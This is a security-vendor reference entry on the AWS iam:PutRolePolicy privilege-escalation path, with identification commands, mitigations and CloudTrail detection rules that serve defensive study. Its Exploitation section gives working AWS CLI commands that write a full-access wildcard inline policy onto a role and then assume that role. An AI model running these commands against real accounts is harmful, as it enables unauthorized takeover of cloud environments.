AWS_PUT_ROLE_POLICY

Summary

Forestall ACL Alias	AWS_PUT_ROLE_POLICY
Edge Type	Attack Path
Affected Object Types	IAM Users, IAM Roles, IAM Groups
Exploitation Certainty	High
AWS IAM Action	iam:PutRolePolicy on the target role

Description

A principal with iam:PutRolePolicy can write or replace an inline policy on any IAM role. Inline policies live inside the role object and take effect right away. There is no separate attach step like there is with managed policies.

A role that holds iam:PutRolePolicy scoped to itself can write itself an inline policy granting full access. Forestall ISPM flags that self-escalation path via Builtin query ID 33.

The edge is (Attacker:AWSUser|AWSRole|AWSGroup) -[AWS_PUT_ROLE_POLICY]-> (TargetRole:AWSRole).

Identification

# List principals with iam:PutRolePolicy
aws iam get-account-authorization-details \
  --filter User Role Group LocalManagedPolicy AWSManagedPolicy \
  --query "UserDetailList[?AttachedManagedPolicies[?contains(PolicyName, 'PutRolePolicy')]].[UserName]"

# Simulate privilege check
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names iam:PutRolePolicy \
  --resource-arns "arn:aws:iam::*:role/*"

# List existing inline policies on a role
aws iam list-role-policies --role-name <target-role>
aws iam get-role-policy --role-name <target-role> --policy-name <policy-name>

PowerShell (AWS Tools):

Get-IAMRolePolicyList -RoleName <target-role> | ForEach-Object {
    Get-IAMRolePolicy -RoleName <target-role> -PolicyName $_
}

Exploitation

# Step 1: Write an inline policy granting full access to the target role
aws iam put-role-policy \
  --role-name <target-role> \
  --policy-name Escalation \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*"}]
  }'

# Step 2: Assume the now-escalated role
aws sts assume-role \
  --role-arn arn:aws:iam::<account-id>:role/<target-role> \
  --role-session-name escalation-session

Mitigation

• Restrict iam:PutRolePolicy to dedicated IAM administrators. Deny it for service roles and instance profiles.

• Use permission boundaries so even a wildcard inline policy can't exceed the boundary.

• Apply SCPs to block inline policies with "Action": "*" or "Resource": "*" outside approved admin pipelines.

• Prefer managed policies over inline ones. Managed grants are easier to audit centrally.

• Check inline policies too. Run list-role-policies, not just list-attached-role-policies.

Detection

CloudTrail Event	Description	Key Fields
PutRolePolicy	An inline policy was created or replaced on a role	requestParameters.roleName, requestParameters.policyName, requestParameters.policyDocument, userIdentity.arn
AssumeRole	A role was assumed after receiving an escalation policy	requestParameters.roleArn, userIdentity.arn

Alert when policyDocument contains "Action": "*" or "Resource": "*", when the caller isn't an approved admin, or when PutRolePolicy is followed by AssumeRole on the same role within a short window.

References

• AWS IAM: PutRolePolicy API

• Rhino Security Labs: AWS IAM Privilege Escalation Methods

• AWS Security Best Practices: Inline vs Managed Policies